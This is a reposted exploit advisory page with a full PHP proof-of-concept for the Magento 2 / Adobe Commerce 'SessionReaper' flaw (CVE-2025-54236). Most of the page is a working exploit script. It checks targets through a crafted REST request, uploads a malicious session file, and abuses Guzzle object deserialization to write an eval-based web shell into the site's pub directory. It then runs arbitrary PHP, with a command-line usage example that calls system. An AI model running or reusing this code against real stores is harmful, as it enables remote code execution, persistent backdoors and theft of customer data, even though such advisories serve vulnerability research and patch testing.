Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Magento 2 / Adobe Commerce 2.4.x SessionReaper

=============================================================================================================================================
| # Title Magento 2 / Adobe Commerce 2.4.x SessionReaper

=============================================================================================================================================
| # Title : Magento 2 / Adobe Commerce 2.4.x SessionReaper Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://community.magento.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212729/ & CVE-2025-54236

[+] Summary : This PHP script is a proof?of?concept exploit targeting Magento for CVE?2025?54236, commonly referred to as SessionReaper.
It is a PHP port of an original Metasploit module and is designed for security testing.

[+] What it does (high level):

Generates random identifiers (session ID, filenames, parameters) to avoid collisions.

Checks whether a Magento target appears vulnerable by sending crafted REST API requests and analyzing HTTP responses (400/404/500 patterns).

If vulnerable, abuses PHP object deserialization via Magento?s REST endpoint to manipulate the session save path.

Uploads a malicious session file using a file upload endpoint.

Triggers deserialization to write a PHP file into a web?accessible location.

Executes a supplied PHP payload by POSTing base64?encoded data to the dropped file.

Uses cURL for all HTTP interactions and handles multipart/form?data manually.

[+] Key components:

check() ? determines vulnerability based on response behavior.

exploit() ? performs the full exploit chain and executes a payload.

Guzzle/FW1 object serialization ? used to craft the malicious session content.

Randomization helpers ? generate IDs, filenames, and parameters.

CLI usage ? allows running the script from the command line with a target URL and optional payload.

[+] PoC :

# For testing only

php magento_exploit.php https://target.com/

# For execution with a custom payload

php magento_exploit.php https://target.com/ 'echo "Vulnerable!";'

<?php

class MagentoSessionReaperExploit
{
private $targetUrl;
private $sessionId;
private $sessionFilename;
private $exploitFilename;
private $postParam;
private $formKey;

public function __construct($targetUrl)
{
$this->targetUrl = rtrim($targetUrl, '/');
$this->sessionId = $this->generateRandomHex(32);
$this->sessionFilename = "sess_{$this->sessionId}";
$this->exploitFilename = $this->generateRandomAlphanumeric(4, 8) . ".php";
$this->postParam = $this->generateRandomAlphanumeric(4, 8);
$this->formKey = $this->generateRandomAlphanumeric(8, 12);
}

public function check()
{
$randomPath = $this->generateRandomAlphanumeric(4, 8) . '/' .
$this->generateRandomAlphanumeric(4, 8) . '/' .
$this->generateRandomAlphanumeric(4, 8);

$cartId = $this->generateRandomAlphanumeric(4, 8);
$payload = $this->buildDeserializationPayload($randomPath);

$url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";

$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json'
]);

if (!$response) {
return ['status' => 'unknown', 'message' => 'No response from target'];
}

$httpCode = $response['http_code'];
$body = strtolower($response['body']);

switch ($httpCode) {
case 400:
return ['status' => 'safe', 'message' => 'Target is patched (returns 400 Bad Request)'];

case 404:
if ($this->check404Response($body)) {
return ['status' => 'vulnerable', 'message' => 'Target returned 404 with expected error pattern'];
}
break;

case 500:
if ($this->check500Response($body)) {
return ['status' => 'vulnerable', 'message' => 'Target returned 500 error with SessionHandler'];
}
break;
}

return ['status' => 'unknown', 'message' => "Unexpected HTTP status: {$httpCode}"];
}

public function exploit($phpPayload)
{
echo "[*] Generating Guzzle/FW1 deserialization payload...\n";

$phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";

$guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);

echo "[*] Uploading session file with Guzzle payload...\n";

$uploadedPath = $this->uploadSessionFile($guzzlePayload);
if (!$uploadedPath) {
return ['success' => false, 'message' => 'Failed to upload session file'];
}

$savePath = "media/customer_address" . dirname($uploadedPath);

echo "[*] Triggering deserialization...\n";

if (!$this->triggerDeserialization($savePath)) {
return ['success' => false, 'message' => 'Failed to trigger deserialization'];
}

echo "[*] Executing payload...\n";

$encodedPayload = base64_encode($phpPayload);
$executeUrl = $this->targetUrl . "/pub/{$this->exploitFilename}";

$response = $this->sendRequest($executeUrl, 'POST',
http_build_query([$this->postParam => $encodedPayload]),
['Content-Type: application/x-www-form-urlencoded']
);

if ($response && $response['http_code'] == 200) {
echo "[+] Payload executed successfully!\n";
echo "[+] Response: " . substr($response['body'], 0, 500) . "...\n";

return [
'success' => true,
'message' => 'Exploit completed',
'session_id' => $this->sessionId,
'exploit_file' => $this->exploitFilename,
'post_param' => $this->postParam
];
}

return ['success' => false, 'message' => 'Payload execution failed'];
}
private function check404Response($body)
{
if (strpos($body, 'no such entity') === false) {
return false;
}

return (strpos($body, 'cartid') !== false) ||
(strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false);
}
private function check500Response($body)
{
if (strpos($body, '500 internal server error') !== false &&
strpos($body, 'sessionhandler') === false) {
return false;
}

return (strpos($body, 'sessionhandler::read') !== false) ||
(strpos($body, 'no such file or directory') !== false &&
strpos($body, 'session') !== false) ||
(strpos($body, 'webapi-') !== false);
}

private function sessionSaveDirFromFilename($filename)
{
return $filename[0] . '/' . $filename[1];
}

private function uploadSessionFile($content)
{
$filename = $this->sessionFilename;
echo "[*] Uploading malicious session file: {$filename}\n";

// Create multipart form data
$boundary = '----' . md5(microtime());
$eol = "\r\n";

$data = "--{$boundary}{$eol}";
$data .= "Content-Disposition: form-data; name=\"form_key\"{$eol}{$eol}";
$data .= "{$this->formKey}{$eol}";

$data .= "--{$boundary}{$eol}";
$data .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"{$eol}";
$data .= "Content-Type: application/octet-stream{$eol}{$eol}";
$data .= "{$content}{$eol}";
$data .= "--{$boundary}--{$eol}";

$url = $this->targetUrl . "/customer/address_file/upload";

$response = $this->sendRequest($url, 'POST', $data, [
"Content-Type: multipart/form-data; boundary={$boundary}",
"Cookie: form_key={$this->formKey}"
]);

if (!$response || $response['http_code'] != 200) {
echo "[-] Upload failed with HTTP code: " . ($response['http_code'] ?? 'No response') . "\n";
return false;
}

// Parse JSON response
$json = json_decode($response['body'], true);

if (isset($json['error']) && $json['error'] != 0) {
echo "[-] Upload failed: {$json['error']}\n";
return false;
}

if (isset($json['file'])) {
return $json['file'];
}

// Default path
$saveDir = $this->sessionSaveDirFromFilename($filename);
return "/{$saveDir}/{$filename}";
}

private function buildDeserializationPayload($savePath)
{
$payload = [
'paymentMethod' => [
'paymentData' => [
'context' => [
'urlBuilder' => [
'session' => [
'sessionConfig' => [
'savePath' => $savePath
]
]
]
]
]
]
];

return json_encode($payload);
}

private function triggerDeserialization($savePath)
{
$cartId = $this->generateRandomAlphanumeric(4, 8);
$payload = $this->buildDeserializationPayload($savePath);

$url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";

$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json',
"Cookie: PHPSESSID={$this->sessionId}"
]);

if (!$response) {
return false;
}

return in_array($response['http_code'], [404, 500]);
}

private function serializeStringAscii($str)
{
$result = '';
$length = strlen($str);

for ($i = 0; $i < $length; $i++) {
$byte = ord($str[$i]);

// Keep printable ASCII except backslash and double quote
if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
$result .= $str[$i];
} else {
// Escape as \xHH
$result .= sprintf("\\x%02x", $byte);
}
}

return "S:{$length}:\"{$result}\";";
}

private function buildGuzzleFw1Payload($targetFile, $phpContent)
{
$escaped = "{$phpContent}\n";

$setCookieData = "a:3:{" .
$this->serializeStringAscii('Expires') . "i:1;" .
$this->serializeStringAscii('Discard') . "b:0;" .
$this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) .
"}";

$setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
"{" . $this->serializeStringAscii('data') . $setCookieData . "}";

$cookiesArray = "a:1:{i:0;{$setCookie}}";

$fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
"{" . $this->serializeStringAscii('cookies') . $cookiesArray .
$this->serializeStringAscii('strictMode') . "N;" .
$this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
$this->serializeStringAscii('storeSessionCookies') . "b:1;}";

return "_|{$fileCookieJar}";
}

private function sendRequest($url, $method, $data = null, $headers = [])
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}

if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}

$body = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);

curl_close($ch);

if ($error && !$body) {
echo "[-] cURL error: {$error}\n";
return false;
}

return [
'http_code' => $httpCode,
'body' => $body,
'error' => $error
];
}


private function generateRandomHex($length)
{
$bytes = random_bytes($length / 2);
return bin2hex($bytes);
}

private function generateRandomAlphanumeric($min, $max)
{
$length = random_int($min, $max);
$chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$result = '';

for ($i = 0; $i < $length; $i++) {
$result .= $chars[random_int(0, strlen($chars) - 1)];
}

return $result;
}
}

if (php_sapi_name() === 'cli') {
if ($argc < 2) {
echo "Usage: php " . basename(__FILE__) . " <target_url> [payload]\n";
echo "Example: php " . basename(__FILE__) . " https://target.com/ 'system(\"id\");'\n";
exit(1);
}

$targetUrl = $argv[1];
$payload = $argv[2] ?? 'echo "Exploit successful!";';

$exploit = new MagentoSessionReaperExploit($targetUrl);

echo "[*] Checking target: {$targetUrl}\n";
$checkResult = $exploit->check();

echo "[*] Check result: {$checkResult['status']} - {$checkResult['message']}\n";

if ($checkResult['status'] === 'vulnerable') {
echo "[*] Target appears vulnerable. Proceeding with exploit...\n";
$result = $exploit->exploit($payload);

if ($result['success']) {
echo "[+] Exploit successful!\n";
echo "[+] Session ID: {$result['session_id']}\n";
echo "[+] Exploit file: {$result['exploit_file']}\n";
echo "[+] POST parameter: {$result['post_param']}\n";
} else {
echo "[-] Exploit failed: {$result['message']}\n";
}
} else {
echo "[-] Target does not appear vulnerable or check failed\n";
}
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share